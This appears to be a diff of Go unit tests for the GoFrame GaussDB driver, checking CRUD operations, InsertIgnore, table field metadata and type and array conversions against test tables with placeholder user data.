"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_2",
|
||||
"create_time": gtime.Now().String(),
|
||||
})
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
answer, err = db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id=?", table), 2)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(answer), 1)
|
||||
t.Assert(answer[0]["passport"], "t2")
|
||||
t.Assert(answer[0]["password"], "25d55ad283aa400af464c76d713c07ad")
|
||||
t.Assert(answer[0]["nickname"], "name_2")
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_Save(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
createTable("t_user")
|
||||
defer dropTable("t_user")
|
||||
|
||||
i := 10
|
||||
data := g.Map{
|
||||
"id": i,
|
||||
"passport": fmt.Sprintf(`t%d`, i),
|
||||
"password": fmt.Sprintf(`p%d`, i),
|
||||
"nickname": fmt.Sprintf(`T%d`, i),
|
||||
"create_time": gtime.Now().String(),
|
||||
}
|
||||
_, err := db.Save(ctx, "t_user", data, 10)
|
||||
gtest.AssertNil(err)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_Replace(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
createTable("t_user")
|
||||
defer dropTable("t_user")
|
||||
|
||||
// Insert initial record
|
||||
i := 10
|
||||
data := g.Map{
|
||||
"id": i,
|
||||
"passport": fmt.Sprintf(`t%d`, i),
|
||||
"password": fmt.Sprintf(`p%d`, i),
|
||||
"nickname": fmt.Sprintf(`T%d`, i),
|
||||
"create_time": gtime.Now().String(),
|
||||
}
|
||||
_, err := db.Insert(ctx, "t_user", data)
|
||||
gtest.AssertNil(err)
|
||||
|
||||
// Replace with new data
|
||||
data2 := g.Map{
|
||||
"id": i,
|
||||
"passport": fmt.Sprintf(`t%d_new`, i),
|
||||
"password": fmt.Sprintf(`p%d_new`, i),
|
||||
"nickname": fmt.Sprintf(`T%d_new`, i),
|
||||
"create_time": gtime.Now().String(),
|
||||
}
|
||||
_, err = db.Replace(ctx, "t_user", data2)
|
||||
gtest.AssertNil(err)
|
||||
|
||||
// Verify the data was replaced
|
||||
one, err := db.GetOne(ctx, fmt.Sprintf("SELECT * FROM t_user WHERE id=?"), i)
|
||||
gtest.AssertNil(err)
|
||||
gtest.Assert(one["passport"].String(), fmt.Sprintf(`t%d_new`, i))
|
||||
gtest.Assert(one["password"].String(), fmt.Sprintf(`p%d_new`, i))
|
||||
gtest.Assert(one["nickname"].String(), fmt.Sprintf(`T%d_new`, i))
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_GetAll(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id=?", table), 1)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(result), 1)
|
||||
t.Assert(result[0]["id"].Int(), 1)
|
||||
})
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id=?", table), g.Slice{1})
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(result), 1)
|
||||
t.Assert(result[0]["id"].Int(), 1)
|
||||
})
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id in(?)", table), g.Slice{1, 2, 3})
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(result), 3)
|
||||
t.Assert(result[0]["id"].Int(), 1)
|
||||
t.Assert(result[1]["id"].Int(), 2)
|
||||
t.Assert(result[2]["id"].Int(), 3)
|
||||
})
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id in(?,?,?)", table), g.Slice{1, 2, 3})
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(result), 3)
|
||||
t.Assert(result[0]["id"].Int(), 1)
|
||||
t.Assert(result[1]["id"].Int(), 2)
|
||||
t.Assert(result[2]["id"].Int(), 3)
|
||||
})
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id in(?,?,?)", table), g.Slice{1, 2, 3}...)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(result), 3)
|
||||
t.Assert(result[0]["id"].Int(), 1)
|
||||
t.Assert(result[1]["id"].Int(), 2)
|
||||
t.Assert(result[2]["id"].Int(), 3)
|
||||
})
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id>=? AND id <=?", table), g.Slice{1, 3})
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(result), 3)
|
||||
t.Assert(result[0]["id"].Int(), 1)
|
||||
t.Assert(result[1]["id"].Int(), 2)
|
||||
t.Assert(result[2]["id"].Int(), 3)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_GetOne(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
type User struct {
|
||||
Id int
|
||||
Passport string
|
||||
Password string
|
||||
Nickname string
|
||||
CreateTime string
|
||||
}
|
||||
data := User{
|
||||
Id: 1,
|
||||
Passport: "user_1",
|
||||
Password: "pass_1",
|
||||
Nickname: "name_1",
|
||||
CreateTime: "2020-10-10 12:00:01",
|
||||
}
|
||||
_, err := db.Insert(ctx, table, data)
|
||||
t.AssertNil(err)
|
||||
|
||||
one, err := db.GetOne(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id=?", table), 1)
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data.Passport)
|
||||
t.Assert(one["create_time"], data.CreateTime)
|
||||
t.Assert(one["nickname"], data.Nickname)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_GetValue(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
value, err := db.GetValue(ctx, fmt.Sprintf("SELECT id FROM %s WHERE passport=?", table), "user_3")
|
||||
t.AssertNil(err)
|
||||
t.Assert(value.Int(), 3)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_GetCount(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
count, err := db.GetCount(ctx, fmt.Sprintf("SELECT * FROM %s", table))
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, TableSize)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_GetArray(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
array, err := db.GetArray(ctx, fmt.Sprintf("SELECT password FROM %s", table))
|
||||
t.AssertNil(err)
|
||||
arrays := make([]string, 0)
|
||||
for i := 1; i <= TableSize; i++ {
|
||||
arrays = append(arrays, fmt.Sprintf(`pass_%d`, i))
|
||||
}
|
||||
t.Assert(array, arrays)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_GetScan(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
type User struct {
|
||||
Id int
|
||||
Passport string
|
||||
Password string
|
||||
NickName string
|
||||
CreateTime gtime.Time
|
||||
}
|
||||
user := new(User)
|
||||
err := db.GetScan(ctx, user, fmt.Sprintf("SELECT * FROM %s WHERE id=?", table), 3)
|
||||
t.AssertNil(err)
|
||||
t.Assert(user.NickName, "name_3")
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_Update(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.Update(ctx, table, "password='987654321'", "id=3")
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
one, err := db.Model(table).Where("id", 3).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["id"].Int(), 3)
|
||||
t.Assert(one["passport"].String(), "user_3")
|
||||
t.Assert(one["password"].String(), "987654321")
|
||||
t.Assert(one["nickname"].String(), "name_3")
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_Delete(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.Delete(ctx, table, "id>3")
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 7)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_Tables(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
tables := []string{"t_user1", "pop", "haha"}
|
||||
for _, v := range tables {
|
||||
createTable(v)
|
||||
}
|
||||
result, err := db.Tables(ctx)
|
||||
gtest.AssertNil(err)
|
||||
for i := 0; i < len(tables); i++ {
|
||||
find := false
|
||||
for j := 0; j < len(result); j++ {
|
||||
if tables[i] == result[j] {
|
||||
find = true
|
||||
break
|
||||
}
|
||||
}
|
||||
gtest.AssertEQ(find, true)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_TableFields(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
var expect = map[string][]any{
|
||||
// []string: Index Type Null Key Default Comment
|
||||
// id is bigserial so the default is a pgsql function
|
||||
"id": {0, "int8(64)", false, "pri", fmt.Sprintf("nextval('%s_id_seq'::regclass)", table), ""},
|
||||
"passport": {1, "varchar(45)", false, "", nil, ""},
|
||||
"password": {2, "varchar(32)", false, "", nil, ""},
|
||||
"nickname": {3, "varchar(45)", false, "", nil, ""},
|
||||
"create_time": {4, "timestamp", false, "", nil, ""},
|
||||
}
|
||||
|
||||
res, err := db.TableFields(ctx, table)
|
||||
gtest.AssertNil(err)
|
||||
|
||||
for k, v := range expect {
|
||||
_, ok := res[k]
|
||||
gtest.AssertEQ(ok, true)
|
||||
|
||||
gtest.AssertEQ(res[k].Index, v[0])
|
||||
gtest.AssertEQ(res[k].Name, k)
|
||||
gtest.AssertEQ(res[k].Type, v[1])
|
||||
gtest.AssertEQ(res[k].Null, v[2])
|
||||
gtest.AssertEQ(res[k].Key, v[3])
|
||||
gtest.AssertEQ(res[k].Default, v[4])
|
||||
gtest.AssertEQ(res[k].Comment, v[5])
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func Test_NoFields_Error(t *testing.T) {
|
||||
createSql := `CREATE TABLE IF NOT EXISTS %s (
|
||||
id bigint PRIMARY KEY,
|
||||
int_col INT);`
|
||||
|
||||
type Data struct {
|
||||
Id int64
|
||||
IntCol int64
|
||||
}
|
||||
// pgsql converts table names to lowercase
|
||||
// mark: [c.oid = '%s'::regclass] is not case-sensitive
|
||||
tableName := "Error_table"
|
||||
_, err := db.Exec(ctx, fmt.Sprintf(createSql, tableName))
|
||||
gtest.AssertNil(err)
|
||||
defer dropTable(tableName)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
var data = Data{
|
||||
Id: 2,
|
||||
IntCol: 2,
|
||||
}
|
||||
_, err = db.Model(tableName).Data(data).Insert()
|
||||
t.AssertNE(err, nil)
|
||||
|
||||
// Insert a piece of test data using lowercase
|
||||
_, err = db.Model(strings.ToLower(tableName)).Data(data).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
_, err = db.Model(tableName).Where("id", 1).Data(g.Map{
|
||||
"int_col": 9999,
|
||||
}).Update()
|
||||
t.AssertNE(err, nil)
|
||||
|
||||
})
|
||||
// The inserted field does not exist in the table
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := map[string]any{
|
||||
"id1": 22,
|
||||
"int_col_22": 11111,
|
||||
}
|
||||
_, err = db.Model(tableName).Data(data).Insert()
|
||||
t.Assert(err, fmt.Errorf(`input data match no fields in table "%s"`, tableName))
|
||||
|
||||
lowerTableName := strings.ToLower(tableName)
|
||||
_, err = db.Model(lowerTableName).Data(data).Insert()
|
||||
t.Assert(err, fmt.Errorf(`input data match no fields in table "%s"`, lowerTableName))
|
||||
|
||||
_, err = db.Model(lowerTableName).Where("id", 1).Data(g.Map{
|
||||
"int_col-2": 9999,
|
||||
}).Update()
|
||||
t.Assert(err, fmt.Errorf(`input data match no fields in table "%s"`, lowerTableName))
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
func Test_DB_TableFields_DuplicateConstraints(t *testing.T) {
|
||||
// Test for the fix of duplicate field results with multiple constraints
|
||||
// This test verifies that when a field has multiple constraints (e.g., both primary key and unique),
|
||||
// the TableFields method correctly merges the results with proper priority (pri > uni > others)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
tableName := "test_multi_constraint"
|
||||
createSql := fmt.Sprintf(`
|
||||
CREATE TABLE %s (
|
||||
id bigserial NOT NULL PRIMARY KEY,
|
||||
email varchar(100) NOT NULL UNIQUE,
|
||||
username varchar(50) NOT NULL,
|
||||
status int NOT NULL DEFAULT 1
|
||||
)`, tableName)
|
||||
|
||||
_, err := db.Exec(ctx, createSql)
|
||||
t.AssertNil(err)
|
||||
defer dropTable(tableName)
|
||||
|
||||
// Get table fields
|
||||
fields, err := db.TableFields(ctx, tableName)
|
||||
t.AssertNil(err)
|
||||
|
||||
// Verify id field has primary key constraint
|
||||
t.AssertNE(fields["id"], nil)
|
||||
t.Assert(fields["id"].Key, "pri")
|
||||
t.Assert(fields["id"].Name, "id")
|
||||
t.Assert(fields["id"].Type, "int8(64)")
|
||||
|
||||
// Verify email field has unique constraint
|
||||
t.AssertNE(fields["email"], nil)
|
||||
t.Assert(fields["email"].Key, "uni")
|
||||
t.Assert(fields["email"].Name, "email")
|
||||
t.Assert(fields["email"].Type, "varchar(100)")
|
||||
|
||||
// Verify username field has no constraint
|
||||
t.AssertNE(fields["username"], nil)
|
||||
t.Assert(fields["username"].Key, "")
|
||||
t.Assert(fields["username"].Name, "username")
|
||||
|
||||
// Verify status field has no constraint and has default value
|
||||
t.AssertNE(fields["status"], nil)
|
||||
t.Assert(fields["status"].Key, "")
|
||||
t.Assert(fields["status"].Name, "status")
|
||||
t.Assert(fields["status"].Default, 1)
|
||||
|
||||
// Verify field count is correct (no duplicates)
|
||||
t.Assert(len(fields), 4)
|
||||
})
|
||||
|
||||
// Test table with composite constraints
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
tableName := "test_composite_constraint"
|
||||
createSql := fmt.Sprintf(`
|
||||
CREATE TABLE %s (
|
||||
user_id bigint NOT NULL,
|
||||
project_id bigint NOT NULL,
|
||||
role varchar(50) NOT NULL,
|
||||
PRIMARY KEY (user_id, project_id)
|
||||
)`, tableName)
|
||||
|
||||
_, err := db.Exec(ctx, createSql)
|
||||
t.AssertNil(err)
|
||||
defer dropTable(tableName)
|
||||
|
||||
// Get table fields
|
||||
fields, err := db.TableFields(ctx, tableName)
|
||||
t.AssertNil(err)
|
||||
|
||||
// In PostgreSQL, composite primary keys may appear in query results
|
||||
// The first field in the composite key should be marked as 'pri'
|
||||
t.AssertNE(fields["user_id"], nil)
|
||||
t.Assert(fields["user_id"].Name, "user_id")
|
||||
|
||||
t.AssertNE(fields["project_id"], nil)
|
||||
t.Assert(fields["project_id"].Name, "project_id")
|
||||
|
||||
t.AssertNE(fields["role"], nil)
|
||||
t.Assert(fields["role"].Name, "role")
|
||||
t.Assert(fields["role"].Key, "")
|
||||
|
||||
// Verify field count is correct (no duplicates)
|
||||
t.Assert(len(fields), 3)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_InsertIgnore(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// Insert test record
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
_, err := db.Insert(ctx, table, g.Map{
|
||||
"id": 1,
|
||||
"passport": "t1",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "T1",
|
||||
"create_time": gtime.Now().String(),
|
||||
})
|
||||
t.AssertNil(err)
|
||||
|
||||
answer, err := db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id=?", table), 1)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(answer), 1)
|
||||
t.Assert(answer[0]["passport"], "t1")
|
||||
t.Assert(answer[0]["password"], "25d55ad283aa400af464c76d713c07ad")
|
||||
t.Assert(answer[0]["nickname"], "T1")
|
||||
|
||||
// Ignore Duplicate record
|
||||
result, err := db.InsertIgnore(ctx, table, g.Map{
|
||||
"id": 1,
|
||||
"passport": "t1_duplicate",
|
||||
"password": "duplicate_password",
|
||||
"nickname": "Duplicate",
|
||||
"create_time": gtime.Now().String(),
|
||||
})
|
||||
t.AssertNil(err)
|
||||
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 0)
|
||||
|
||||
answer, err = db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id=?", table), 1)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(answer), 1)
|
||||
t.Assert(answer[0]["passport"], "t1")
|
||||
t.Assert(answer[0]["password"], "25d55ad283aa400af464c76d713c07ad")
|
||||
t.Assert(answer[0]["nickname"], "T1")
|
||||
|
||||
// Insert Correct Record
|
||||
result, err = db.Insert(ctx, table, g.Map{
|
||||
"id": 2,
|
||||
"passport": "t2",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_2",
|
||||
"create_time": gtime.Now().String(),
|
||||
})
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
answer, err = db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id=?", table), 2)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(answer), 1)
|
||||
t.Assert(answer[0]["passport"], "t2")
|
||||
t.Assert(answer[0]["password"], "25d55ad283aa400af464c76d713c07ad")
|
||||
t.Assert(answer[0]["nickname"], "name_2")
|
||||
|
||||
// Insert Multiple Records Using g.Map Array
|
||||
data := g.List{
|
||||
{
|
||||
"id": 3,
|
||||
"passport": "t3",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_3",
|
||||
"create_time": gtime.Now().String(),
|
||||
},
|
||||
{
|
||||
"id": 4,
|
||||
"passport": "t4",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_4",
|
||||
"create_time": gtime.Now().String(),
|
||||
},
|
||||
{
|
||||
"id": 1,
|
||||
"passport": "t1_conflict",
|
||||
"password": "conflict_password",
|
||||
"nickname": "conflict_name",
|
||||
"create_time": gtime.Now().String(),
|
||||
},
|
||||
{
|
||||
"id": 2,
|
||||
"passport": "t2_conflict",
|
||||
"password": "conflict_password",
|
||||
"nickname": "conflict_name",
|
||||
"create_time": gtime.Now().String(),
|
||||
},
|
||||
}
|
||||
|
||||
// Insert Multiple Records with Ignore
|
||||
result, err = db.InsertIgnore(ctx, table, data)
|
||||
t.AssertNil(err)
|
||||
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 2)
|
||||
|
||||
answer, err = db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s", table))
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(answer), 4)
|
||||
// Should have four records in total (ID 1, 2, 3, 4)
|
||||
|
||||
t.Assert(answer[0]["passport"], "t1")
|
||||
t.Assert(answer[1]["passport"], "t2")
|
||||
t.Assert(answer[2]["passport"], "t3")
|
||||
t.Assert(answer[3]["passport"], "t4")
|
||||
})
|
||||
}
|
||||
955
contrib/drivers/gaussdb/gaussdb_z_unit_field_test.go
Normal file
955
contrib/drivers/gaussdb/gaussdb_z_unit_field_test.go
Normal file
@ -0,0 +1,955 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb_test
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
|
||||
"github.com/google/uuid"
|
||||
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
// Test_TableFields tests the TableFields method for retrieving table field information
|
||||
func Test_TableFields(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
fields, err := db.TableFields(ctx, table)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(fields) > 0, true)
|
||||
|
||||
// Test primary key field
|
||||
t.Assert(fields["id"].Name, "id")
|
||||
t.Assert(fields["id"].Key, "pri")
|
||||
|
||||
// Test integer types
|
||||
t.Assert(fields["col_int2"].Name, "col_int2")
|
||||
t.Assert(fields["col_int4"].Name, "col_int4")
|
||||
t.Assert(fields["col_int8"].Name, "col_int8")
|
||||
|
||||
// Test float types
|
||||
t.Assert(fields["col_float4"].Name, "col_float4")
|
||||
t.Assert(fields["col_float8"].Name, "col_float8")
|
||||
t.Assert(fields["col_numeric"].Name, "col_numeric")
|
||||
|
||||
// Test character types
|
||||
t.Assert(fields["col_char"].Name, "col_char")
|
||||
t.Assert(fields["col_varchar"].Name, "col_varchar")
|
||||
t.Assert(fields["col_text"].Name, "col_text")
|
||||
|
||||
// Test boolean type
|
||||
t.Assert(fields["col_bool"].Name, "col_bool")
|
||||
|
||||
// Test date/time types
|
||||
t.Assert(fields["col_date"].Name, "col_date")
|
||||
t.Assert(fields["col_timestamp"].Name, "col_timestamp")
|
||||
|
||||
// Test JSON types
|
||||
t.Assert(fields["col_json"].Name, "col_json")
|
||||
t.Assert(fields["col_jsonb"].Name, "col_jsonb")
|
||||
|
||||
// Test array types
|
||||
t.Assert(fields["col_int2_arr"].Name, "col_int2_arr")
|
||||
t.Assert(fields["col_int4_arr"].Name, "col_int4_arr")
|
||||
t.Assert(fields["col_varchar_arr"].Name, "col_varchar_arr")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_TableFields_Types tests field type information
|
||||
func Test_TableFields_Types(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
fields, err := db.TableFields(ctx, table)
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test integer type names
|
||||
t.Assert(fields["col_int2"].Type, "int2(16)")
|
||||
t.Assert(fields["col_int4"].Type, "int4(32)")
|
||||
t.Assert(fields["col_int8"].Type, "int8(64)")
|
||||
|
||||
// Test float type names
|
||||
t.Assert(fields["col_float4"].Type, "float4(24)")
|
||||
t.Assert(fields["col_float8"].Type, "float8(53)")
|
||||
t.Assert(fields["col_numeric"].Type, "numeric(10)")
|
||||
|
||||
// Test character type names
|
||||
t.Assert(fields["col_char"].Type, "bpchar(10)")
|
||||
t.Assert(fields["col_varchar"].Type, "varchar(100)")
|
||||
t.Assert(fields["col_text"].Type, "text")
|
||||
|
||||
// Test boolean type name
|
||||
t.Assert(fields["col_bool"].Type, "bool")
|
||||
|
||||
// Test date/time type names
|
||||
// Note: GaussDB internally represents date as timestamp in pg_type
|
||||
t.Assert(fields["col_date"].Type, "timestamp")
|
||||
t.Assert(fields["col_timestamp"].Type, "timestamp")
|
||||
t.Assert(fields["col_timestamptz"].Type, "timestamptz")
|
||||
|
||||
// Test JSON type names
|
||||
t.Assert(fields["col_json"].Type, "json")
|
||||
t.Assert(fields["col_jsonb"].Type, "jsonb")
|
||||
|
||||
// Test array type names (PostgreSQL uses _ prefix for array types)
|
||||
t.Assert(fields["col_int2_arr"].Type, "_int2")
|
||||
t.Assert(fields["col_int4_arr"].Type, "_int4")
|
||||
t.Assert(fields["col_int8_arr"].Type, "_int8")
|
||||
t.Assert(fields["col_float4_arr"].Type, "_float4")
|
||||
t.Assert(fields["col_float8_arr"].Type, "_float8")
|
||||
t.Assert(fields["col_numeric_arr"].Type, "_numeric")
|
||||
t.Assert(fields["col_varchar_arr"].Type, "_varchar")
|
||||
t.Assert(fields["col_text_arr"].Type, "_text")
|
||||
t.Assert(fields["col_bool_arr"].Type, "_bool")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_TableFields_Nullable tests field nullable information
|
||||
func Test_TableFields_Nullable(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
fields, err := db.TableFields(ctx, table)
|
||||
t.AssertNil(err)
|
||||
|
||||
// NOT NULL fields should have Null = false
|
||||
t.Assert(fields["col_int2"].Null, false)
|
||||
t.Assert(fields["col_int4"].Null, false)
|
||||
t.Assert(fields["col_numeric"].Null, false)
|
||||
t.Assert(fields["col_varchar"].Null, false)
|
||||
t.Assert(fields["col_bool"].Null, false)
|
||||
t.Assert(fields["col_varchar_arr"].Null, false)
|
||||
|
||||
// Nullable fields should have Null = true
|
||||
t.Assert(fields["col_int8"].Null, true)
|
||||
t.Assert(fields["col_text"].Null, true)
|
||||
t.Assert(fields["col_json"].Null, true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_TableFields_Comments tests field comment information
|
||||
func Test_TableFields_Comments(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
fields, err := db.TableFields(ctx, table)
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test fields with comments
|
||||
t.Assert(fields["id"].Comment, "Primary key ID")
|
||||
t.Assert(fields["col_int2"].Comment, "int2 type (smallint)")
|
||||
t.Assert(fields["col_int4"].Comment, "int4 type (integer)")
|
||||
t.Assert(fields["col_int8"].Comment, "int8 type (bigint)")
|
||||
t.Assert(fields["col_numeric"].Comment, "numeric type with precision")
|
||||
t.Assert(fields["col_varchar"].Comment, "varchar type")
|
||||
t.Assert(fields["col_bool"].Comment, "boolean type")
|
||||
t.Assert(fields["col_timestamp"].Comment, "timestamp type")
|
||||
t.Assert(fields["col_json"].Comment, "json type")
|
||||
t.Assert(fields["col_jsonb"].Comment, "jsonb type")
|
||||
|
||||
// Test array field comments
|
||||
t.Assert(fields["col_int2_arr"].Comment, "int2 array type (_int2)")
|
||||
t.Assert(fields["col_int4_arr"].Comment, "int4 array type (_int4)")
|
||||
t.Assert(fields["col_int8_arr"].Comment, "int8 array type (_int8)")
|
||||
t.Assert(fields["col_numeric_arr"].Comment, "numeric array type (_numeric)")
|
||||
t.Assert(fields["col_varchar_arr"].Comment, "varchar array type (_varchar)")
|
||||
t.Assert(fields["col_text_arr"].Comment, "text array type (_text)")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Type_Conversion tests type conversion for various PostgreSQL types
|
||||
func Test_Field_Type_Conversion(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Query a single record
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one.IsEmpty(), false)
|
||||
|
||||
// Test integer type conversions
|
||||
t.Assert(one["col_int2"].Int(), 1)
|
||||
t.Assert(one["col_int4"].Int(), 10)
|
||||
t.Assert(one["col_int8"].Int64(), int64(100))
|
||||
|
||||
// Test float type conversions
|
||||
t.Assert(one["col_float4"].Float32() > 0, true)
|
||||
t.Assert(one["col_float8"].Float64() > 0, true)
|
||||
|
||||
// Test string type conversions
|
||||
t.AssertNE(one["col_varchar"].String(), "")
|
||||
t.AssertNE(one["col_text"].String(), "")
|
||||
|
||||
// Test boolean type conversion
|
||||
t.Assert(one["col_bool"].Bool(), false) // i=1, 1%2==0 is false
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Array_Type_Conversion tests array type conversion
|
||||
func Test_Field_Array_Type_Conversion(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Query a single record
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one.IsEmpty(), false)
|
||||
|
||||
// Test integer array type conversions
|
||||
int2Arr := one["col_int2_arr"].Ints()
|
||||
t.Assert(len(int2Arr), 3)
|
||||
t.Assert(int2Arr[0], 1)
|
||||
t.Assert(int2Arr[1], 2)
|
||||
t.Assert(int2Arr[2], 1)
|
||||
|
||||
int4Arr := one["col_int4_arr"].Ints()
|
||||
t.Assert(len(int4Arr), 3)
|
||||
t.Assert(int4Arr[0], 10)
|
||||
t.Assert(int4Arr[1], 20)
|
||||
t.Assert(int4Arr[2], 1)
|
||||
|
||||
int8Arr := one["col_int8_arr"].Int64s()
|
||||
t.Assert(len(int8Arr), 3)
|
||||
t.Assert(int8Arr[0], int64(100))
|
||||
t.Assert(int8Arr[1], int64(200))
|
||||
t.Assert(int8Arr[2], int64(1))
|
||||
|
||||
// Test string array type conversions
|
||||
varcharArr := one["col_varchar_arr"].Strings()
|
||||
t.Assert(len(varcharArr), 3)
|
||||
t.Assert(varcharArr[0], "a")
|
||||
t.Assert(varcharArr[1], "b")
|
||||
t.Assert(varcharArr[2], "c1")
|
||||
|
||||
